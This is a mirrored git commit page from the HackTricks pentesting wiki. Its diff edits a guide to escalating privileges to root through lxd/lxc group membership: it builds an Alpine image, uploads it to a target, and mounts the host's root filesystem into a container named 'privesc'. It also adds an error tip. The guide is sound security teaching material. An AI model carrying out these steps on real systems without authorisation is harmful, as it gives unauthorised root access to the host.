1
2
Fork 0
mirror of https://github.com/carlospolop/hacktricks.git synced 2023-12-14 19:12:55 +01:00

GitBook: [master] one page modified

This commit is contained in:
CPol 2021-08-22 02:17:22 +00:00 committed by gitbook-bot
parent 4d57226742
commit 76292e6d7a
No known key found for this signature in database
GPG key ID: 07D2180C7B12D0FF

View file

@ -9,6 +9,7 @@ If you belong to _**lxd**_ **or** _**lxc**_ **group**, you can become root
You can install in your machine this distro builder: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)\(follow the instructions of the github\):
```bash
sudo su
#Install requirements
sudo apt update
sudo apt install -y golang-go debootstrap rsync gpg squashfs-tools
@ -22,9 +23,7 @@ mkdir -p $HOME/ContainerImages/alpine/
cd $HOME/ContainerImages/alpine/
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
#Create the container
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml
# If that fails, run it adding -o image.release=3.8 at the end.
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.8
```
Then, upload to the vulnerable server the files **lxd.tar.xz** and **rootfs.squashfs**
@ -45,6 +44,11 @@ lxc list #List containers
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
```
{% hint style="danger" %}
If you find this error _**Error: No storage pool found. Please create a new storage pool**_
Run **`lxc init`** and **repeat** the previous chunk of commands
{% endhint %}
Execute the container:
```bash